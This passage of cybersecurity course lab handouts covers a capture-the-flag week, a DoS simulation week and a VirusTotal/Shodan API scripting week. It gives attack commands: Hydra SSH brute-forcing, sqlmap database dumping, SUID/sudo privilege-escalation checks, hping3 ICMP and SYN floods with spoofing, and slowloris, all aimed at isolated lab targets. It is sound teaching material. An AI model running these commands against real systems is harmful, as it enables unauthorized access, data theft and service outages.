Wireless Defense Discussion

- Use **WPA2 or WPA3** with strong passphrases
- Hide SSID (optional, limited protection)
- Enable **MAC filtering**
- Disable **WPS** (Wi-Fi Protected Setup)
- Use **enterprise-level WPA2-EAP** where possible

Student Reflection Questions

1. What are the main weaknesses of WPA2-Personal?
2. How does deauthentication help capture handshakes?
3. What limits dictionary-based cracking?
4. What should a strong Wi-Fi password include?

Student Deliverables

- Screenshot of:
    - `iwconfig` and monitor mode
    - Network scan with BSSID/ESSID
    - Handshake captured
    - Password cracking attempt
- Reflection answers

Week 12 Lab: Final Capture The Flag (CTF) Challenge

Learning Objectives

By the end of this lab, students will:

- Apply all core cybersecurity skills from the past 11 weeks
- Solve practical security challenges in a simulated environment
- Demonstrate logical reasoning and ethical hacking workflow
- Build confidence in tools like Nmap, Hydra, Burp Suite, sqlmap, aircrack-ng, and browser exploits

---

Lab Environment Options

- Use a local vulnerable machine: **Metasploitable2**, **DVWA**, or **TryHackMe / Hack The Box (free labs)**
- Offline CTF VM (CTFBox, VulnHub machines)
- Preconfigured CTF scenario with:
    - 3–5 Flags (e.g., `flag{something_found}`)
    - Web, network, and password-related clues

CTF Challenge Structure (Sample Layout)

Flag #	Theme	Hints	Tools
1	Network Scanning	Open port reveals version	`nmap`, `nc`
2	Password Cracking	Weak SSH/FTP creds	`hydra`, `rockyou.txt`
3	Web Exploit	SQLi or XSS in form fields	`sqlmap`, browser
4	Privilege Escalation	Misconfigured sudo or SUID	`linpeas`, `sudo -l`
5	Wi-Fi Replay	WPA2 handshake (optional)	`aircrack-ng`

Sample CTF Workflow

Flag 1: Reconnaissance

```
bash
```

```
nmap -sC -sV -oN scan.txt <target-ip>
```

Screenshot:

Open services and detected versions

Flag location: Service banner or hidden directory

Flag 2: Password Brute-force

Use Hydra or Medusa on FTP/SSH:

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<target-ip>
```

Screenshot:

Found credentials and login

Flag location: User home directory or `/welcome.txt`

Flag 3: Web Application Exploit

Use Burp Suite or sqlmap:

```bash
sqlmap -u "http://<target-ip>/login.php?user=1" --dump
```

Screenshot:

Dumped DB or XSS trigger

Flag location: Page source, cookies, or hidden POST field

Flag 4: Privilege Escalation

After login:

```bash
sudo -l
find / -perm -u=s -type f 2>/dev/null
```

Use:

- Exploit misconfigured sudo
- Abuse SUID binary

Screenshot:

Shell access as root

Flag location: `/root/flag.txt`

Optional Flag 5: Wireless Replay (From Week 11)

- Capture WPA2 handshake
- Crack using `aircrack-ng`

Screenshot:

Cracked key or `flag{wifi_cracked}`

Final Submission Checklist

Students submit:

- Flag values + file paths
- Screenshots of each exploit stage
- Command log or brief explanation of how the flag was found
- Reflection: *“What was the most challenging and why?”*

Final Reflection Questions

1. Which tool was most helpful during the CTF?
2. What step took the most time and why?
3. How would you defend this system if you were the admin?
4. Which previous week helped you the most?

Week 13: DoS and DDoS Attacks – Concepts and Simulation

Learning Objectives

By the end of this lab, students will:

- Understand the mechanics and impact of Denial-of-Service (DoS) and Distributed DoS (DDoS) attacks.
- Simulate DoS attacks using open-source tools in a **controlled local lab** (not against live targets).
- Analyze traffic impact using monitoring tools.
- Learn mitigation and detection strategies.

Lab Setup

- **Target VM:** Metasploitable2, DVWA, or any HTTP service (e.g., Apache on Kali)
- **Attacker VM:** Kali Linux
- **Monitoring:** Wireshark, `iftop`, or `netstat`

Important: This lab must be conducted in an isolated environment (e.g., NAT network or internal-only setup). Never attack public or unauthorized systems.

Tools Used

- `hping3` – Custom TCP/UDP/ICMP packets for DoS simulation
- `slowloris` – Simulate low-and-slow HTTP DoS
- `LOIC` (for educational demo, if allowed offline)
- `Wireshark`, `iftop` – Monitor network bandwidth and response

Lab Instructions

Task 1: Simulate ICMP Flood using `hping3`

```
bash

hping3 -1 --flood -a 192.168.56.10 192.168.56.101
```

- `-1`: ICMP mode
- `--flood`: Send packets as fast as possible

- `-a`: Spoof source IP (demonstrates DDoS simulation)

Observe: How does the target respond? Use `iftop` on target.

Task 2: TCP SYN Flood

```bash
hping3 -S --flood -V -p 80 192.168.56.101
```

- `-S`: Send SYN packets
- `-p 80`: Target web server port

Check: `netstat -an | grep SYN_RECV` on the target

Task 3: HTTP DoS with `slowloris`

```bash
git clone https://github.com/gkbrk/slowloris.git
cd slowloris
python3 slowloris.py 192.168.56.101
```

Watch: Apache logs (`/var/log/apache2/access.log`) and system load

Task 4: Monitor with `Wireshark`

- Start Wireshark on both attacker and victim VMs.
- Apply filter: `icmp` or `tcp.port == 80`
- Visualize spikes in traffic and dropped connections.

Expected Observations

Attack Type	Expected Behavior
ICMP Flood	High CPU, dropped pings, no login response
SYN Flood	SYN_RECV state overload
Slowloris	Connection queue exhaustion on HTTP server
Monitoring	Bandwidth spike, packet inspection

Reflection Questions

1. What makes DDoS attacks difficult to block at the perimeter?
2. How does spoofing the source IP affect traceability?
3. How can services like Cloudflare or firewalls mitigate DDoS?

4. What are safe alternatives for load testing?

Week 14: Python Scripting with Security APIs (VirusTotal & Shodan)

Learning Objectives

By the end of this lab, students will:

- Understand the role of threat intelligence APIs.
- Use Python to automate querying VirusTotal and Shodan.
- Parse and interpret API responses (JSON).
- Build basic security tools using API data.

Tools & Setup

Requirement	Description
Python 3.x	Use with `requests` and `shodan` modules
VirusTotal API Key	Free account at https://www.virustotal.com
Shodan API Key	Free account at https://www.shodan.io
VS Code / Jupyter	IDE to write and test scripts

VirusTotal API Lab

Step 1: Install Required Library

```
bash

pip install requests
```

Step 2: Sample Python Script

```
python

import requests

API_KEY = 'YOUR_VIRUSTOTAL_API_KEY'
file_hash = '44d88612fea8a8f36de82e1278abb02f'  # Example EICAR test hash
url = f"https://www.virustotal.com/api/v3/files/{file_hash}"

headers = {
    "x-apikey": API_KEY
}

response = requests.get(url, headers=headers)

if response.status_code == 200:
    data = response.json()
    print("Malicious detections:", data['data']['attributes']
['last_analysis_stats']['malicious'])
else:
    print("Error:", response.status_code)
```

What to Observe

- Response contains multiple AV vendors’ verdicts.
- Learn to extract JSON fields like `harmless`, `malicious`, `suspicious`.

Shodan API Lab

Step 1: Install Shodan Library

```
bash

pip install shodan
```

Step 2: Shodan Script Example

```
python

import shodan

API_KEY = "YOUR_SHODAN_API_KEY"
api = shodan.Shodan(API_KEY)

try:
    query = "apache"
    results = api.search(query)

    print(f"Total results: {results['total']}")
    for result in results['matches'][:5]:
        print(f"IP: {result['ip_str']}, Port: {result['port']}, Org:
{result.get('org')}")
except shodan.APIError as e:
    print("Error:", e)
```

What to Observe

- Shodan lets you discover internet-facing services.
- You can query by country, org, or port.

Bonus: Combine Both APIs

Write a script that:

1. Takes an IP from Shodan result.
2. Queries VirusTotal for domain/IP reputation.

Reflection Questions

1. What types of intelligence can these APIs provide?
2. What are the limits of free API tiers?
3. How could attackers misuse this data? How can defenders use it responsibly?